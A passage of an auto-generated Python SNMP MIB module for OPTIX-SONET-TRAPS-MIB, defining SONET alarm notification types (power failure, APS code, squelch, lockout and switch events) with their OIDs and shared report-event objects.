("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almCommunicationFail.setStatus('current') almPowerAFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32891)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPowerAFail.setStatus('current') almPowerBFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32892)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPowerBFail.setStatus('current') almInterfaceLinkMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32899)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInterfaceLinkMismatch.setStatus('current') almInterfaceCardFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32900)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInterfaceCardFail.setStatus('current') almAIC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32901)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAIC.setStatus('current') almDbmsCfgCorrupted = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32903)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDbmsCfgCorrupted.setStatus('current') almDefaultKByteDefect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32904)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDefaultKByteDefect.setStatus('current') almInconsistentApsCodes = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32905)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInconsistentApsCodes.setStatus('current') almImproperApsCodes = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32906)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almImproperApsCodes.setStatus('current') almExtraTrafficIsBeingSquelched = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32907)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExtraTrafficIsBeingSquelched.setStatus('current') almTopologyNeedsUpdatingOrIsInvalid = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32908)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTopologyNeedsUpdatingOrIsInvalid.setStatus('current') almSquelchTableNeedsUpdatingOrIsInvalid = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32909)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSquelchTableNeedsUpdatingOrIsInvalid.setStatus('current') almNodeIdDuplicatedOrMismatched = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32910)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almNodeIdDuplicatedOrMismatched.setStatus('current') almXconMismatched = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32911)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almXconMismatched.setStatus('current') almRingModeMisatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32912)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRingModeMisatch.setStatus('current') almSquelchModeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32913)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSquelchModeMismatch.setStatus('current') almLockoutProtectionSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32915)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutProtectionSpan.setStatus('current') almLockoutWorkingRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32916)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutWorkingRing.setStatus('current') almLockoutWorkingSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32917)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutWorkingSpan.setStatus('current') almForceSwitchOfRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32918)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almForceSwitchOfRing.setStatus('current') almForceSwitchOfSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32919)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almForceSwitchOfSpan.setStatus('current') almManualSwitchOfRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32920)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almManualSwitchOfRing.setStatus('current') almManualSwitchOfSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32921)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almManualSwitchOfSpan.setStatus('current') almExerciseSwitchRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32922)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExerciseSwitchRing.setStatus('current') almExerciseSwitchSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32923)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExerciseSwitchSpan.setStatus('current') almLockoutProtectionForAllSpans = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32924)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), 